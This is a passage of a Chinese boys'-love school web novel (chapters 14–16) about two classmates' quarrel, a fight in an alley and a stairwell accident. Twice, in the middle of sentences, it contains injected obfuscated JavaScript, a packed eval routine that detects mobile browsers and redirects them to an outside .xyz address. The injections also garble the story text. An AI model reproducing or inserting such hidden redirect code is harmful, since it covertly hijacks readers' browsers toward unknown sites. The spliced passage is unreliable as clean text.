江逸疑惑地开口,“你被咬傻啦?还是在浴缸里脑子进水了?”他发现谢逾白的耳朵红红的,他碰了一下,一如往常,顺着耳骨边缘揉捏,气消了一些,“你怎么这么任性?” 江逸瞳孔是漂亮的琥珀色,正困惑地眨动着。 谢逾白黑眸里浮着层薄冰,嘴唇有了一点浅淡的颜色,声音压在喉咙里,“再碰我一下,我绝对会杀了你。” 14.第 14 章 江逸听着他阴森森的话,不禁莞尔,只要江逸想接,没有他接不住的话,“你住在这么豪华的宫殿里,这么有钱,你舍得杀了我去坐牢?对你来说,太不划算了。” 谢逾白冷冷地用眼尾掠他。 江逸忽视他的一个个眼刀,“我真不知道你为什么生气,你是不是被我咬疼了?谁让你不理人的?你知不知道我大半夜的找你,我心里多着急,你回家住不能告诉我一声?看看我给你打了几个电话,你一个也不接。 谢逾白牙齿咬着下唇,眉心蹙着。 “我让你咬回来,行不行?谢逾白,说话!” 谢逾白面色有些痛苦,嘴角苦涩:“求你了,别这么对我,你走吧。” 此时此景,狼狈如他,一个字也不想多说。说了又有什么用?他可以要求江逸什么?凭什么身份要求? 让他不要跟好兄弟吃饭?不许他跟别人搂搂抱抱? 江逸皱着眉看他,“我对你不好吗?这一个月来,我把你捧在手心里,对你跟对我妹妹一样细心,你有什么不满意的?” 他抚摸谢逾白的脸,有了温度,不像刚才那么冰凉,指腹蹭了蹭他脖颈的伤口,沾了一点鲜血,“我承认,我咬人是我不对。你现在咬回来?” 谢逾白知道江逸有问题,他自己何尝没有问题,江逸跟周靖泽。男生之间这种程度的举动不算什么,他就是在意,他就是受不了,多看几眼就要疯掉了。 即使没有周靖泽,会有李靖泽,林靖泽,暗恋他这么久,谢逾白如何不知道?江逸的人缘很好,周围朋友很多,发小,兄弟,朋友数不胜数。 他继续跟江逸接触下去,肯定会疯的。在保留体面之前,拉开距离是唯一的选择,“我宁愿没有遇到过你。” 江逸第一次在谢逾白的眼中看见如此真切的痛苦,“你真这么讨厌我?想我走?我走了你就不难受了?” 谢逾白眼瞳有一刹那的茫然,“你走吧。” 江逸叹气,“我知道了,如你所愿。”他有点迷茫,不知道这段时间在忙什么。好心当成驴肝肺。一个月养几条小金鱼,知道冲他摇尾巴。 谢逾白的眼睛只剩一片乌沉沉的黑,什么光都没了。 江逸很矛盾,能看到谢逾白眼里的挣扎,能感知到他情绪激烈,怎么问他也不肯说。 万般无奈之下,江逸伸出胳膊,把他揽进怀里,嘴唇贴着他的耳廓,伸手一下下拍着他的背,“你累了,今晚别吵,先睡一觉,你睡着我就走,不碍你大少爷的眼。” 早晨醒来,谢逾白睁开眼睛,看着天花板很久,他知道人走了,不知道几点走的,司机有没有送他。 谢逾白身上恢复了暖意,他扯开毛毯,身上光溜溜的,他把床上的睡衣用力摔到地上,光着脚趾下地,走到卫生间,看着镜子里的人。 稍微侧头,他看到侧颈上的牙印,印记已经淡了许多,看不出是被咬的,微微有些发红,几个地方有深红色的结痂。 他挥舞着拳头,用力砸在镜子上,镜子裂痕处一抹鲜血,指骨传来锥心的疼痛。 最可气的,让他接受不了的是,昨天他被咬住的时候,不是疼,而是爽。 他昨晚用尽了所有的自制力,才忍住没强吻江逸。 谢逾白,你是世界上最贱的人。 他自己知道就行了,绝对不允许成为别人的笑柄。 * 凌晨四点,江逸走了一个小时,还他妈没走出谢家别墅,一道道关卡,看门的休假了。时间很早,他不好意思打扰谢雪姚,翻了三道墙,脚踝崴了,五点半才走出别墅。 昨晚来的时候天黑了,他没留意,此时此刻,他看着一辆车也没有的马路,心里只想大骂。 怎么办?脚瘸了,手机没电了,钱也没带,路上连个车影也没有。他沿着道路走,六点半遇到一个加油站,进去说了好半天的好话,人家借给他充电器,充了一会儿电。 他以后再搭理谢逾白这个疯子,他就是神经病! 电话接通,宋越开车来接他的时候已经六点半了。 江逸有点不好意思:“是不是打扰你休息了?” 酒吧早晨四点打烊,宋越刚到家没睡觉:“没事,上车。” 江逸的衣服湿着,昨晚抱谢逾白抱的。 宋越瞥他好几眼了,欲言又止。 “是兄弟就别问。”江逸昨晚一会儿生气,一会儿担心,几乎一整晚没睡觉,他下次再也不赚快钱,世上果然没有白捡的午餐。 江逸放学回家,看到家里到处是两人一个月以来一起生活的点点滴滴,心里有种说不出来的滋味。 不爽,他足足收拾了三个小时,把谢逾白所有的东西打包到一个黑色皮箱,和一个黑色袋子里。 近两天,谢逾白虽然来了学校,因为物理竞赛的事情,一直在忙,时不时消失半天,江逸根本找不到机会跟他说话。 两个箱子把他篮球队的储物柜塞得满满登登的,队友的储物柜里也有一个黑色袋子。 他在第三天放学前,见到了谢逾白。 江逸对他招了招手,表示有话对他说,谁知道谢逾白淡漠的眼神扫过,立刻撇开视线,跟没看到他一样。 把他当空气了? 江逸明显感到自己最近变得暴躁,他大口喘气,手心给自己顺气,不生气,不跟他计较。 谢逾白出了教室,江逸跟着他,在卫生间门口堵住了他。 谢逾白微微蹙眉,声音清寒,“你在这多久了?” 江逸敏感地察觉到他表情的异样,“你什么意思?我能偷看你去卫生间?”把他当什么人了? “我没那么说。” 看他板着脸,江逸不愿意多废话,“我有话跟你说。” 谢逾白回头看了洗手间牌子一眼,“不能换个地方?” “在这说,很快说完,你在我家的东西,我带到体育馆了,接你的司机几点到?我把东西送到体育馆门口,你带走。” “直接扔了吧。”谢逾白听他平静地讲述这些,心向下坠,一个字也不想听。 “扔了?你好多衣服呢,有一块表,看着价格不菲。” 谢逾白捏了捏眉骨,“我说扔了就扔了,我根本不在意,那些东西我不缺。” 江逸感觉自己像个傻子,收拾了三个小时,巴巴地骑车带到学校,那么重,“你不要了?等一下,我录个音,以后避免有纠纷。” “你用不着录音,我说不要就不要。” 江逸把手机当成录音机,“谢逾白同学,关于你放在我家六件上衣,五条裤子,一块手表等物品,你是否确定不要了?” 谢逾白眉棱抖动,“是,我不要了。” “一切归江逸处理吗?” “随你处理。” “成。”江逸吐出一口气,扭头走了。 几天后,午休时。 江逸看了看不远处对着他的手机,很无语,人出名也很烦,校园里走到哪,都有对他拍照的。他又不是猴子,有什么好拍的? 中午食堂的烤肠那么香,林飞羽买了一根,他想去买,钱付完了,几名女生围过来拍照,江逸没好意思拿烤肠。 他挤开人群,走得快一点,对面一个同学端了一碗牛肉面,全洒在了他衣服上。黄黄的颜色,太闹心了。 后来队友提醒,他在体育馆放着不少东西,江逸想起来里面有谢逾白的衣服,在忍受一天肉汤在身上,还是穿谢逾白的衣服当中,他选择了后者,何况价签在上面,衣服是新的。 * 谢逾白觉得一切结束了,不会再有什么事情发生,他刻意忽略江逸的存在,不看后排,不去体育馆,不去篮球场。 他每天埋在书桌前做物理题,陈最用笔戳了戳他的胳膊:“谢总,我听班级同学议论,你跟江逸穿同款衣服,有人调侃你们穿的是情侣装。” 谢逾白低头看自己身上的白色上衣,某个他穿习惯的品牌,新品上市他每件会买两件。 他刚反驳,“不可能的……”他猛然想起来,有一件新的,没拆标签的在江逸家里。 前几天江逸巴巴带到学校还给他,他没要,学校的贴吧已经有了江逸的高清照片,穿着跟他同款的上衣,在篮球馆打球。 江逸是校草,平时不注重穿着,偶然穿一件拉风的衣服,十分惹眼。平时有很多女粉丝,总给他拍照,天天上传。 以前,谢逾白放学回家,拿着手机会翻看他的照片,缓解一天的乏味无趣。 现在看到网上的帖子,照片,关于磕他们cp的,谢逾白无比烦躁。 他快步走到体育馆,刚好看到球赛最后几分钟,江逸一个帅气的三分球,全场欢呼。 球场上,江逸被两人围着防,他运球侧身躲开,一个急停,膝盖微弯猛地起跳。 阳光从高窗漏进来,落在江逸扬起的手腕上,篮球划出道浅弧,“唰”地擦过篮网坠进框里。 “好球!”球场炸了,掌声和“江逸好帅!”的喊叫声此起彼伏。 江逸仰头笑了笑,额角汗珠甩出去,他琉璃珠子似的眼眸通透,鼻尖上挂着颗小汗珠,颤巍巍的没掉。 他似乎很累,嘴唇张着喘气。 他站直了抻了下胳膊,衣服后背湿了一大片,贴着紧实清瘦的脊背线条。 江逸腰收得窄,长腿往那一站,带着股刚运动后的飒爽劲儿。 全场一半的人没穿篮球队服,包含江逸。 谢逾白视线像被粘住,落在他泛红的脸上,谢逾白一眼认出江逸身上穿的是跟自己的同款。 江逸被人群簇拥着,队友层层叠叠抱住他,有人摸他的头,有人勒他的脖子,他几乎喘不过来气了,脸颊红润,眼睛带笑,十分享受当下时刻。 谢逾白不知道自己心里是个什么滋味。他上前一步,挡在江逸面前。 周律拍了拍正在跟队友聊天的江逸,“是不是找你的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309192|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江逸跟谢逾白对视,摸了摸鼻子,“找我?” “不然呢?” 他这语气,真牛逼。江逸说:“你们先去,我等会儿。”他慵懒地靠在篮球架子上,汗水不停往下流,滴到他眼睛里了。 旁边立刻有女生怯生生地上前,递过来纸巾,“江逸,给你。” 江逸琥珀色瞳孔透亮,接过来,“谢了。” 女生顿时羞红了脸,“不客气。” “说吧,找我什么事?”江逸嗓音带着运动后的有气无力。 “你打球怎么不穿篮球服?” “你家住黄河,管得那么宽?”江逸懒得理他,“说完了?我走了,热死了,先去洗澡。” “你哪也不准去,回答我。”谢逾白拽住他的胳膊,触感有些湿热,他立刻甩开手。 谢逾白又犯病了,汗水坠到江逸眼尾,他微微眯眼,“明天有比赛,我篮球服洗了,明天穿。” 江逸继续往前走,手腕被扯住了,“你没完了?到底要说什么?” 谢逾白看看周围人,有人在录视频,眉心跳了下,“跟我出去找个地方说。” “松开我。”江逸气呼呼地转到后门,推开沉重的门,角落里没有人,情侣偶尔来约会,监控死角。 江逸后背靠在墙上,抬手给自己扇风,时不时抓着衣服领子抖动,企图缓解身上的热,一身黏黏糊糊的难受死了,他的耐心告尽,“谢逾白,能不能有屁快放?老子热。” 一个多月了,他几乎没用这般语气跟谢逾白说过话。 一朝回到解放前,两人不对付那两年。 谢逾白贴着墙根站着,“我来找你,因为你穿的衣服,跟我穿的一样,贴吧里有不好的声音。” 江逸睫毛被浸得半湿,手掌扇动时带起点风,“你大点声,说什么呢?我听不懂,别跟我拐弯抹角的。” 谢逾白呼吸沉在胸腔里,磨着牙继续说,“有人说我们穿的是情侣款,影响不好。” 江逸笑到上气不接下气,“谢逾白,你好笑不?有人说我们是情侣装就是了?有人说我俩谈恋爱,我俩就亲嘴了?你物理竞赛那么忙,有闲情逸致搭理这些,你无不无聊?” 亲嘴两个字点燃了谢逾白的情绪,他明显有了愠怒,“你说什么?” 江逸摆摆手,“我走了,去洗澡了。” 一股大力霎时按住他,谢逾白把人怼在墙上,身体紧紧压了上来,“你给我把衣服脱下来。” “你说什么玩意儿?” “衣服脱了,不准跟我穿同款。” 江逸有点不敢相信,冷嘲热讽,“你要不要脸?衣服是你自己不要的,要不要听录音?凭什么现在让我还给你?” 谢逾白脸色一阵红一阵青,咬着牙提议,“我给你钱,买回来。” “你现在让我脱,里面那么多女生,合适吗?” 谢逾白沉着脸孔,“我陪你去更衣室。” 江逸让他整得哭笑不得,一双明净的眼眸在谢逾白脸上打转儿,他拿出手机,打开收款码,“扫码。” “我不记得多少钱买的。” “8980。价签我中午撕的。” 江逸微信跳动一下,谢逾白直接转了十万,“六件,一件也不许穿。” 江逸眼眸瞪大,不敢相信地看着自己零钱从398变成了100398。他开怀大笑,睫毛扬着,手拍着谢逾白的胳膊,“行,你牛逼,你衣服我不穿了,裤子,内裤,你要买回去吗?” 听到内裤两个字,谢逾白肩背微不可察地僵了下,“买,你出示收款码,以后一件也不许穿。” 江逸看到他又转了十万,先啧了声,唇角撇了撇又扬起来,“谢逾白,你真大方,真霸总!我要是女生,都想嫁给你了。” 谢逾白飞快别开脸,脑仁疼,“你能不能闭嘴?” “你花钱买我闭嘴,我就闭嘴。” 谢逾白跟着他走,强忍着闹心,来到更衣室。其他队员全走了,空空荡荡的只有他们两人,江逸取出校服,两手交叉握住下衣襟,往上一抬,把衣服脱了下来。 谢逾白眼前一片白光,眼睫刚要垂下,一件带着潮气的衣服兜头盖了下来。 布料汗津津地贴在他脸部和耳朵皮肤上,混着阳光干爽,以及江逸身上独有的味道,钻进他鼻腔,让谢逾白脊背绷紧。 他脸色沉得骇人,颈侧薄红。 他攥着衣摆猛地扯下来,布料摩擦着耳廓,抬眼撞进江逸眼里。 江逸眼底的光忽闪忽闪,像藏了串星星。 “江、逸。”谢逾白寒着脸,一字一顿地喊。 “我知道你要说什么,下句就是,我杀了你。” 江逸眼尾挑着,头微微偏着,“你到底杀不杀?不杀,我要洗澡去了。” 家教极好的谢少爷挤出一个字:“滚!” 江逸回眸一笑,眼底微光流动,“下次再来惠顾啊。” 15.第 15 章 江逸骑着摩托车,身后坐着林飞羽,林飞羽突然说:“逸哥,你看路边巷子里被围的人,是不是陈最?” 江逸摩托车停下,拿下头盔,顺着他说的方向看过去,有个穿校服的男生被五六个人围着,一步步想后退,他没记错的话,后面是个死胡同。 “看着有点眼熟。” “同学两年半了,咱班的,谢逾白的同桌。” 江逸头盔戴了回去,准备启动摩托车,又摘下头盔,“你刚刚说,谁的同桌?” “谢逾白。” “走,去看看怎么回事。” 江逸把摩托车往路边一靠,林飞羽跟着下来,站在他身后。巷子里的人听见动静,转头看过来。 秦绍叼着烟,推了陈最一把:“跑啊?怎么不跑了?”他扯过陈最手里的书包,把他书包里的东西全部掉在地上,书,练习册,笔袋,文件袋,滚落一地。 陈最短发利落,眉眼清润,踉跄着撞在墙上,校服袖子蹭破了点,看着地上沾了灰尘的牛皮纸文件袋,眼神黯淡无望,咬着牙没说话。 江逸走过去,踢了块石子到秦绍脚边:“差不多行了。” 秦绍眯眼打量他:“你谁啊?想管闲事?” “他是我同学。”江逸说,“有事说事,围这么多人,不像样。” “同学?”秦绍笑了,吐掉烟,“他惹了我妹,就得受着。我妹追他,他摆什么谱?” 陈最红了脸:“我跟她说过不合适,她不听,我又没把她怎么样。” “不合适?我妹看上你是你的福气!你小子拒绝她,她一周没上学了,你他妈的凭什么?”秦绍扬手就要打陈最。 江逸伸手拦住,“强扭的瓜不甜。”看着陈最有些焦急的样子,“你有事?” 陈最:“一会儿有点急事要处理。” 秦绍:“你今天哪也去不了,医院是你的归宿。” “让他走,要打,跟我打。”江逸活动了下手腕,“如果你输了,这事翻篇。” 秦绍上下扫他一眼,江逸的短发被头盔压得微翘,瞳仁亮得显锐气,一股刚劲的少年气,“行啊,别后悔。” 秦绍先挥拳过来,江逸偏头躲开,顺手抄住他的胳膊,往旁边一拧。 秦绍疼得哼了声,另一只拳头砸向江逸侧脸。江逸反手一拳打在秦绍肚子上。 几分钟以后,江逸抓住他的衣领,把他按在墙上,拳头停在他眼前。 “服了吗?”江逸问。 秦绍喘着气,眼角已经肿起来,“我在这边混了十几年,谁敢动我,你吃了熊心豹子胆了?” “你在这片混的?认识宋卓吗?” 秦绍一愣,抬头看他:“你认识卓哥?” “前阵子跟他喝过酒。”江逸松开手,“他教过我,别欺负老实人。” 秦绍摸了摸鼻子,血在流:“卓哥是我哥的朋友,我当然认识。既然你认识卓哥,这事……就此揭过。” 他转向陈最,语气很硬:“你小子,以后离我妹远点,看见她绕着走,听见没有?” 林飞羽跑过来,递了包纸巾给江逸:“你没事吧?” 江逸擦了擦嘴角的血:“没事。”他看陈最,“你不是有急事吗?磨蹭什么,不快去?” 陈最神情挫败,没想到他努力这么久,功亏一篑,“江逸,谢谢你。”今天对他来说尤其重要,今天他要去交保送资料,截止时间上午8点,现在已经7点半了,这个点根本打不到车。 “你什么事?说。” 林飞羽拍了拍陈最肩膀,“有什么事,你说出来,瞧你,一个男生快哭出来了。” “我急着去学校送资料,本来7点就到校了,8点截止,可是中途被耽误了,现在来不及了。”都怪他,完美主义,昨天就应该交的,非要修改一部分内容。 风从耳边吹过,江逸觉得嘴角有点疼,抬手按了按,“林飞羽,你坐公交?” “成。” 江逸扔给陈最一个头盔,“上来,我带你去学校,来得及。” 江逸7点50准时到教室,教室里面乱糟糟的,他走到自己座位前面,怎么回事?不是他的座位了。 白嵩:“逸哥,你还不知道吧,昨晚任老师换座位了,你的座位在第五排。” “第五排?太靠前了吧。”上高中开始,江逸一直在最后一排,山高皇帝远,没人管。 他挪动步伐,12345,数了数,找到自己的书桌,挺好找的,只有他没有桌布,桌子的一角凹陷着。 他拉开椅子坐下,稍微抬了下眼睛,斜前方看到一个有点熟悉的背影。 谢逾白坐在靠窗的位置,蓝白校服后背挺括,肩线宽而平直,把校服撑得恰到好处。他不跟周围同学搭话,淡漠冷傲。 江逸手指抓着桌面,发出细小的声音,怎么会这样?什么孽缘。 下了第一节课,陈最才回到座位,他校服白色部分脏了一些,他起先没注意,回头两三次,确定坐在他身后的是江逸,他惊愕地说:“你怎么在这?” “我也想知道。”江逸卷了下舌头,发出一声脆响,“好学生,你不满意,去找下班主任给我换个座?” “我哪有什么不满意的。”陈最看着他青红的嘴角,指关节淤青,“你去医务室了吗?” “去医务室干嘛?” 陈最指了指自己嘴角,“你这里,还有手,需要消毒。” 江逸不在意地舔了下唇角,“小伤,不用管,过两天就好了。” 抱着数学作业的谢逾白闻言脚步一顿,他眼神平静地看过来,眼睫垂落又扬起。 陈最课间去了趟医务室,取来消毒棉签,转头,“江逸,不介意的话,我帮你擦下吧。” “你特意跑去医务室?”江逸看他在不停地喘息,课间十分钟,跑来跑去不容易,“行吧,你轻点。” 江逸的手搭在桌沿,骨节清晰,皮肤薄得能看见浅青血管,指节处的青紫肿得厉害,虎口一道划痕沾着点干涸的血。 陈最把碘伏瓶放在桌角,“我保证轻点。”他捏着棉签蘸了药,江逸哼都没哼一声。 “嘴角用上药吗?” 听到这句话,谢逾白拿着笔的手,捏到指节发青。 随后,懒洋洋的声音传来,“不用,一股子药味在嘴里,难受死了。” 林飞羽问:“陈最,你早晨什么事那么着急?” “保送材料截止8点。” “啊?这么大事?你申请那个学校?” “林大。” 江逸一惊:“你学习这么牛?” 林飞羽:“你不知道?他的外号千年老二,在我班一人之下万人之上,是有实力的。” 陈最:“倒也不必给我贴这个标签。” 江逸问:“早晨来得及交材料了?” 陈最露出笑脸,“交上去了。” “准大学生了,真羡慕。”林飞羽问:“你还参加高考吗?” “看情况,试一试也行。” “我们帮了你这么大的忙,是不是应该报答我们?”林飞羽笑嘻嘻地说。 “可以,需要什么尽管提。” 林飞羽:“我不会的数学题还挺多的。” “我会的,一定竭尽全力。”陈最看了看江逸的侧脸,江逸伏在课桌上做英语题,下颌线从耳尖到下巴,线条很美。 做错了一道题,他抿起唇。做题的江逸跟打架的江逸有区别,此时的他神情专注,看上去很不一样。 林飞羽笑着打趣:“陈最,你盯着逸哥看三分钟了,什么意思?” 陈最回神,“有那么久?”他挠了挠头,“不好意思。” 江逸司空见惯似的,头都没抬。 林飞羽:“没事,不怪你,刚跟他坐同桌的时候,我也总走神,我们搬来的晚,否则你能不能有保送资格还不一定,每天只顾着看帅哥了。” 陈最抿嘴笑笑,以前知道自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325771|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己遇到美女喜欢多看几眼,没想到颜值逆天的帅哥同样养眼。 他探头看了一眼,江逸做的张英语卷子昨晚他刚做完,江逸的答案一半全错了。 陈最:“……” 果然老天是公平的,绝对的美貌面前,智商打折了。 江逸卡在一道一长排的选择题上,ABCD四个选项,每一个单词他都不确定什么意思,他咬着笔头,面容苦恼。 陈最:“要不要我给你讲讲这道题的解题思路?” “你英语好不好?”江逸手肘搁在桌沿,指尖屈起撑着下巴,长睫偶尔扇动一下。 陈最没头没脑地说了一句,“你用学习吗?你这张脸,不能出道当明星或者做个模特?” 江逸嘴角轻挑,“没那才艺。一个大男人,好看有什么用?” 林飞羽:“招桃花?” “桃花有什么用,最后只能选择一个人过一辈子。” 陈最:“没想到你思想挺保守,跟你长相不符合。” 江逸抬眼:“我长相怎么了?” 陈最如实说:“看着挺渣的。” 林飞羽:“你看错了,逸哥初恋初吻还在呢。” 江逸语气烦躁,“闭嘴吧你,别影响你爹做题。” 陈最跟江逸快速熟识起来,陈最成绩好,为人热络喜欢聊天,他保送的事八九不离十了,每天状态挺松弛的。 早晨他拎着两袋包子,自然而然地递到后排,“吃吧。” 江逸困到不行,他昨晚熬夜背单词,快升仙了,十一月份天气开始变凉,从被窝里爬出来洗了把脸就来了教室,顾不上吃饭,去食堂吃来不及了。 陈最精力充沛,每天来得很早,发现江逸在啃面包,他手里的肉包子还冒着热气。 他分享了两个给江逸,江逸觉得出乎意料的好吃,夸了一句,开启了陈最每天给他带早饭的日子。 江逸咬了一口包子,味道醇香,只是有点噎人。 陈最递过来两杯饮品,“热可可半糖,豆浆三分糖,你要哪一杯?” “配包子,豆浆吧。” 陈最淡笑,把吸管扎进去,递给江逸,“小心一点,有点热。” 林飞羽:“陈最,你太舔了,不知道还以为你追逸哥呢。” 陈最笑骂:“追你妈啊。”他直男。 江逸:“林飞羽你能不能把臭嘴闭上?” “包子味道也太香了,馋死了。” 江逸把包子袋子递过来,“吃。” 林飞羽拿了两个吃着。 谢逾白一进门,闻到一股小笼包的味道,食指划了下眉骨。 他除了在江逸家的那一个月,早餐一般是三明治配牛奶,这么浓郁的味道,让他有点不适应。 他打开窗户,透透气。他刚坐下就听到林飞羽那句“追你”,谢逾白揉了揉眉心,估计是直男的说话风格,回想江逸跟他说的那些话不算什么。 林飞羽一惊一乍的:“逸哥,你今天戴的表牛逼,你等我拍一下,是什么表?” 江逸:“你无聊不?” “百达翡丽,一块表两百多万?逸哥,你认真的吗?” 陈最视线落在那块银色带钻的奢侈手表,“这块表我见过,谢逾白也有一块,全球限量款。” 第一次看谢逾白戴的时候,陈最觉得惊艳,特意回去搜了,两百一十六万。 即便如此,谢逾白只戴了不到一周,下周就换表了,有钱就是豪气。 看林飞羽咋咋呼呼的样子,周围同学几乎全看过来,江逸把表藏进袖子里,本来他没想戴。今天老师,旧的那块手表没电了。 看到这块表,他知道应该不便宜,没想到这么贵,更没想到陈最能认出来。 看着周围人探究的目光,江逸笑了笑,“A货,我能戴那么贵的表?我脑子进水了?二百万对于我来说,是一笔巨款,够买我命的了。” 谢逾白摸了摸眉棱,唇角抿起。 16.第 16 章 江逸吃饱了,陈最回收豆浆瓶子和小笼包袋子。 “你真是二十四孝好老公。”林飞羽嘴很快。 江逸用脚踢他,“我的二十四孝好儿子,去给我买几瓶水。” “好勒,我们是幸福的一家。” 江逸笑骂:“记住,我才是你爸爸。” “陈最,中午一起去吃饭。”不知不觉,陈最给自己带早餐一周多了,江逸不喜欢欠别人的。 几人一起走出教学楼,等待去考场。 下楼梯的时候,四人并排走,不得不变成两人并排,不知怎么,江逸跟谢逾白走到了同排。 江逸目不斜视,拽拽的样子,他走在外侧,楼上的两个同学互相追打,他的肩膀被重重撞击了一下,身体顿时失去了平衡,往前冲了出去。 一瞬间发生的事,他感到旁边有一双手,迅速反应,先是拽住了他的胳膊,紧接着一只手稳稳地搂住他的肩膀。 这股冲力很大,一套操作下来,谢逾白没能稳住身形,脚下迈空,跌了下去,他只能尽力用胳膊护住江逸,自己朝地面狠狠砸了下去。 电光火石之间,江逸额头磕到了谢逾白的胸口,听到骨骼撞到墙壁的声音,谢逾白一声闷哼。 周围的同学喧闹地跑过来,江逸眼前发黑,定了定神。谢逾白躺在楼梯转角,后背抵着冰凉的台阶。 他被江逸压着半边肩膀,浓眉拧着,额角抵着台阶棱,眉峰流着血,血顺着高挺的鼻梁滑下来。 他最刺眼的是右臂,以一个违背骨骼常理的角度向外撇着,靠近肘部的地方不正常的红肿。 谢逾白偏过头,右眼睫毛湿哒哒颤着,视线艰难地找到江逸,瞳孔失了焦点,“你怎么样?受伤没?” 江逸没什么心情查看自己的情况,他回头看足足有十个台阶,想去碰触谢逾白又停下,多年篮球的经验告诉他,不能乱动他,“你胳膊八成是骨折了。” 江逸的脸色发白,深栗色的碎发被他抬手抓得乱糟糟的,他第一次在人前露出这样失措的样子,见有人想扶谢逾白,“别动,你们谁也别碰他!” 他蹲下身,保持着半跪的姿势,离谢逾白半臂远不敢再近,喉间发涩:“校医室电话多少!去叫老师!谁带手机了?打120!” 江逸声音紧绷:“谢逾白,你听着,我在这儿陪你。”他扯下自己校服外套,垫在谢逾白头下,“撑着点,校医和救护车马上来,别乱动胳膊,听见没?” 谢逾白抬起没受伤的左胳膊,动作艰难地拍了拍他的手背,“我没事,你别慌。” “谁慌了?告诉过你别动了?”江逸紧绷的神经找不到出口,他回握住谢逾白的手,“你不会有事的。” 其实他不知道,谢逾白的胳膊和肩膀看上去挺严重的,脸上的伤口磕了一下,“你怎么撞到右手了,马上要物理竞赛了,怎么办?” 谢逾白声音不见慌乱,“你坐我后面这么多天了,不知道我是左撇子?”跌倒的时候,他想到了,刻意避开了左肩膀受伤。 江逸回想了一下,谢逾白吃饭用右手,写字确实用左手。120救护车来了,江逸想跟着去医院。任老师劝他回去安心考试,任老师会跟着去。 谢逾白对他说,“外伤,没什么,你去考试。” 江逸坐在考场上,神不守舍,以往考试会的题,不太会了。熬到考试结束,江逸看到任老师回来了,“老师,他怎么样了?” “肩膀撞击了下,右胳膊骨裂,不算太严重,估计要休息半个月不能用胳膊。” “他在哪个医院?我现在过去。” “陈最在病房陪他,没什么事,你……”任老师话没说完,江逸人已经不见了。 到了医院外面,江逸反而在门口溜了一圈,没进去,陈最透过玻璃看到他,“江逸,进来。刚好你来了,我下楼去买饭。” 谢逾白半靠在枕头上,左手举着本大学物理书。他右臂打着厚厚的石膏。 他额头贴着方形纱布,边缘露出点淡粉色的伤口,脸色更白,唇色偏浅,他看过来,“来了?” 江逸走到床边,盯着那截石膏看了会儿,视线扫过他额角的纱布:“医生说你的伤怎么样?” 谢逾白扯了扯嘴角,“还行,下周能拆夹板。你呢?有没有哪里受伤?” “没有。” “胳膊伸出来。” 江逸伸出右胳膊,谢逾白眉弓压着,“左边。” 江逸伸出左胳膊,谢逾白上手,翻转了下,胳膊内壁一片青紫,有好几道暗红色的血痕。 他指腹攥紧江逸的胳膊,原本平静的眼神沉了下去。 “你这叫没受伤?” 谢逾白声音凝重,“需要包扎,可能需要缝针。” 他的视线在那些血痕上停了很久,情绪像山洪,极力忍耐着。 门被推开,护士走到床边,指着江逸,“你过来,把他衣服撩起来,再擦擦他身上的汗,一会要做仪器检查。” 江逸迈腿走过去,走到一半脚步停下,眼睑微微下垂,笑着问,“护士姐姐,能不能等一会儿再给他做?他朋友下去买饭了。” 护士小姐姐:“你是他什么人?” “他斜后桌同学。” 谢逾白:“……” 护士声音依旧,“你快点过来。病情的事还能耽误?” 谢逾白:“我自己可以,旁边有毛巾,你去外面洗手间清洗一下。” 公立医院的环境,跟他住过的私立医院比不了。 谢逾白完好的手把上衣襟掀开,护士递给他一个仪器探测头让他拿着,他默默把衣襟叼在嘴里,手拿着仪器。 江逸看着这情形,不过去帮忙不行了,江逸手指拎着他的衣襟,把谢逾白手里的东西接过去,毛巾给他,“你自己擦吧。” 谢逾白姿势不太舒服地擦了擦胸口的皮肤,检测过后,机器的声音响起,护士出去了。 “你怎么了?”谢逾白察觉到江逸的状态有些异常,如果是以前,他不会如此表现。 江逸照顾过他很多次,从来没有这么排斥过碰触他,谢逾白心里一阵苦涩。 以前的亲密接触,对比现在的生疏,明明是他提出的,想要的,眼下的情形,莫名酸楚。“你这么不想碰我?来医院做什么?” “你为了我受的伤,我当然要来看一眼。你烦我,让我滚远点,危险时候拉我做什么?如果你不拉我,骨裂的是我,你最起码能清静一个月。” 谢逾白眼神起了波澜,“我烦你?让你滚?我不记得我说过这种话,你自己加工的?” “你具体说的什么我忘了,意思差不多吧。你为什么拉我?” 谢逾白眼瞳里落着模糊的影,“身体的本能反应。” 不知何时开始,尽管他排斥自己对他的心意,一次又一次声讨自己,讨厌自己,他仍然无法改变这个事实,日复一日地隐藏,在想得到和怕失去之中,煎熬着。 江逸语气真切,“谢逾白,你到底要什么?我不懂,有时候感觉你讨厌我,不喜欢我距离你近,对我的碰触避如蛇蝎,有时候……” “有时候怎样?”谢逾白脸上表情寡淡。 江逸沉吟,他回想两次他遇到危险的时候,第一次,老孟带那么多人过来,谢逾白始终挡在他前面。这次,谢逾白瞬间反应就是保护他。 他很迷惑,不知道该如何解释谢逾白的行为,江逸烦躁地抓了抓头发,“我说不出口,可能是我想错了。” 屋里很安静,沉默了很久,谢逾白说,“你没有想错,我不讨厌你。” “你把我当朋友吗?” 谢逾白不回答。 “你想要的是什么?你不喜欢我碰你,我以后就不碰你。”江逸说得诚恳。 “你对别人什么样,对我就什么样吧。” 江逸脚尖抵着地面,“我对别人很随意的。” 谢逾白嘴角轻轻地往上挑了下,“有多随意?” “穿他们的衣服,没有一个人让我脱下来过。” 